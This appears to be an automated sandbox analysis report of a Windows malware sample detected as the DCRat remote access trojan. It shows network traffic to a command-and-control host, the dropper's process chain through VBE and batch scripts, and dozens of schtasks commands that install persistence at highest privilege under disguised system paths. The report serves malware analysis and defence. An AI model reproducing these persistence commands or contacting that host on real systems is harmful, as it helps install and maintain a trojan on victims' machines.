Aug 31, 2024 09:22:11.861423016 CEST	1236	IN	Data Raw: 6e 74 65 6e 74 20 2e 66 6f 6f 74 65 72 5f 5f 6c 6f 6e 67 2d 6c 6f 67 6f 7b 6d 61 78 2d 77 69 64 74 68 3a 31 38 38 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 33 32 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 66 6f 6f 74 65 72 Data Ascii: ntent .footer__long-logo{max-width:188px;max-height:32px}.wrapper .content .footer__text{color:#000;font-size:14px;line-height:138%;margin-bottom:16px;white-space:pre-line}.wrapper .content .footer__rights{font-size:10px;font-weight:700;line-h
Aug 31, 2024 09:22:11.861432076 CEST	1236	IN	Data Raw: 31 30 30 70 78 7d 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e Data Ascii: 100px}}</style></head><body> <div class="wrapper"> <div class="content"> <div class="left-side"> <div class="error-block"> <p class="error-bl
Aug 31, 2024 09:22:11.861443043 CEST	1236	IN	Data Raw: 32 20 37 33 2e 30 37 33 38 5a 22 20 66 69 6c 6c 3d 22 62 6c 61 63 6b 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 39 36 2e 32 39 32 20 36 34 2e 36 37 32 35 43 31 39 35 2e 33 33 36 20 36 38 2e 31 30 39 36 20 31 39 32 2e 32 Data Ascii: 2 73.0738Z" fill="black"/> <path d="M196.292 64.6725C195.336 68.1096 192.276 70.401 189.024 71.3558C184.816 72.5015 180.226 71.3558 176.209 69.8282C175.062 69.4463 174.488 71.3558 175.636 71.7377C180.226 73.2653 185.199 74.602 189.98 7
Aug 31, 2024 09:22:11.861468077 CEST	1236	IN	Data Raw: 31 39 33 20 31 30 32 2e 36 37 32 43 31 37 33 2e 33 34 20 31 30 33 2e 30 35 34 20 31 37 33 2e 39 31 34 20 31 30 31 2e 31 34 34 20 31 37 32 2e 37 36 37 20 31 30 30 2e 37 36 32 5a 22 20 66 69 6c 6c 3d 22 62 6c 61 63 6b 22 2f 3e 0a 20 20 20 20 20 20 Data Ascii: 193 102.672C173.34 103.054 173.914 101.144 172.767 100.762Z" fill="black"/> <path d="M141.208 97.1331C138.721 99.8064 136.044 102.098 133.175 104.389C132.792 104.771 132.792 105.344 133.175 105.726C133.557 106.108 134.131 106.108 134.5
Aug 31, 2024 09:22:11.861483097 CEST	1000	IN	Data Raw: 2e 38 31 36 20 31 31 31 2e 36 34 37 20 33 31 31 2e 32 34 32 20 31 31 31 2e 30 37 34 20 33 31 30 2e 36 36 39 20 31 31 30 2e 38 38 33 43 33 30 38 2e 37 35 36 20 31 31 30 2e 36 39 32 20 33 30 37 2e 30 33 35 20 31 31 30 2e 35 30 31 20 33 30 35 2e 31 Data Ascii: .816 111.647 311.242 111.074 310.669 110.883C308.756 110.692 307.035 110.501 305.122 110.31C306.652 108.974 308.182 107.446 309.521 105.728C309.904 105.155 309.33 104.2 308.756 104.2C305.313 104.2 301.87 104.964 298.619 106.3C298.619 106.3 296
Aug 31, 2024 09:22:11.861500025 CEST	1236	IN	Data Raw: 39 2e 34 36 31 20 34 32 2e 33 33 32 31 20 31 37 34 2e 31 30 35 20 34 33 2e 36 36 38 38 43 31 36 38 2e 31 37 36 20 34 35 2e 30 30 35 34 20 31 36 31 2e 38 36 34 20 34 34 2e 38 31 34 35 20 31 35 35 2e 37 34 34 20 34 34 2e 32 34 31 36 43 31 35 37 2e Data Ascii: 9.461 42.3321 174.105 43.6688C168.176 45.0054 161.864 44.8145 155.744 44.2416C157.274 40.4226 159.761 36.9855 163.203 34.6941C163.968 34.1213 163.586 32.5937 162.438 32.9756C157.083 35.076 152.11 37.9403 147.902 41.9502C147.902 38.7041 147.902
Aug 31, 2024 09:22:11.861538887 CEST	1236	IN	Data Raw: 34 39 33 39 20 31 34 34 2e 36 38 31 20 35 35 2e 37 31 32 33 20 31 33 39 2e 35 32 36 43 35 33 2e 32 32 35 39 20 31 33 36 2e 38 35 33 20 34 38 2e 30 36 31 37 20 31 33 30 2e 39 33 33 20 34 37 2e 38 37 30 35 20 31 33 30 2e 39 33 33 43 34 35 2e 39 35 Data Ascii: 4939 144.681 55.7123 139.526C53.2259 136.853 48.0617 130.933 47.8705 130.933C45.9578 127.687 43.8539 126.541 41.75 124.441C39.0723 121.958 39.0723 117.758 39.0723 114.32C39.0723 113.557 38.3072 113.175 37.5421 113.557C34.6732 115.084 32.9518 1
Aug 31, 2024 09:22:11.866261005 CEST	1236	IN	Data Raw: 31 32 39 20 31 37 35 2e 38 30 36 20 39 35 2e 34 39 35 35 20 31 37 36 2e 33 37 39 43 39 36 2e 34 35 31 38 20 31 37 37 2e 35 32 35 20 39 37 2e 34 30 38 31 20 31 37 38 2e 34 38 20 39 38 2e 37 34 37 20 31 37 39 2e 30 35 33 43 39 39 2e 31 32 39 35 20 Data Ascii: 129 175.806 95.4955 176.379C96.4518 177.525 97.4081 178.48 98.747 179.053C99.1295 179.243 99.512 179.625 99.8946 179.625C100.086 179.625 100.086 179.625 100.277 179.625C100.66 179.625 101.042 179.625 101.233 179.434C101.807 179.434 102.19 179.
Aug 31, 2024 09:22:12.098903894 CEST	453	OUT	GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1 Accept: / Content-Type: text/css User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: a1023624.xsph.ru
Aug 31, 2024 09:22:12.312961102 CEST	1236	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Sat, 31 Aug 2024 07:22:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d [TRUNCATED] Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-betwe [TRUNCATED]

Target ID:	0
Start time:	03:21:51
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\5P9EdUgv5r.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5P9EdUgv5r.exe"
Imagebase:	0xd60000
File size:	1'577'715 bytes
MD5 hash:	1F70E167B93D471AF9DAF333145DB4CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:21:51
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe"
Imagebase:	0xef0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:22:02
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:22:02
Start date:	31/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:22:02
Start date:	31/08/2024
Path:	C:\serversessionmonitor\blockfont.exe
Wow64 process (32bit):	false
Commandline:	"C:\serversessionmonitor\blockfont.exe"
Imagebase:	0xf50000
File size:	1'260'544 bytes
MD5 hash:	960DC58A366579A52C966ACC596733B6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000002.1784999674.0000000003657000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000002.1784999674.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000002.1790371382.00000000132BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:22:04
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:22:04
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:22:04
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:22:04
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 9 /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:22:04
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:22:04
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 14 /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:22:04
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:22:04
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe
Imagebase:	0x9f0000
File size:	1'260'544 bytes
MD5 hash:	960DC58A366579A52C966ACC596733B6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000014.00000002.1870320993.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000014.00000002.1870320993.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe"
Imagebase:	0xcd0000
File size:	1'260'544 bytes
MD5 hash:	960DC58A366579A52C966ACC596733B6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000016.00000002.1870704533.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000016.00000002.1870704533.000000000302C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:22:05
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 6 /tr "'C:\Recovery\SearchApp.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Recovery\SearchApp.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 8 /tr "'C:\Recovery\SearchApp.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:22:06
Start date:	31/08/2024
Path:	C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe"
Imagebase:	0xdc0000
File size:	1'260'544 bytes
MD5 hash:	960DC58A366579A52C966ACC596733B6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000025.00000002.1825230562.0000000003101000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.2%
Total number of Nodes:	1496
Total number of Limit Nodes:	28

Executed Functions

Function 00D7D5D4 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D700CF: GetModuleHandleW.KERNEL32(kernel32), ref: 00D700E4
Part of subcall function 00D700CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D700F6
Part of subcall function 00D700CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D70127

Part of subcall function 00D79DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00D79DAC

Part of subcall function 00D7A335: OleInitialize.OLE32(00000000), ref: 00D7A34E
Part of subcall function 00D7A335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D7A385
Part of subcall function 00D7A335: SHGetMalloc.SHELL32(00DA8430), ref: 00D7A38F

Part of subcall function 00D713B3: GetCPInfo.KERNEL32(00000000,?), ref: 00D713C4
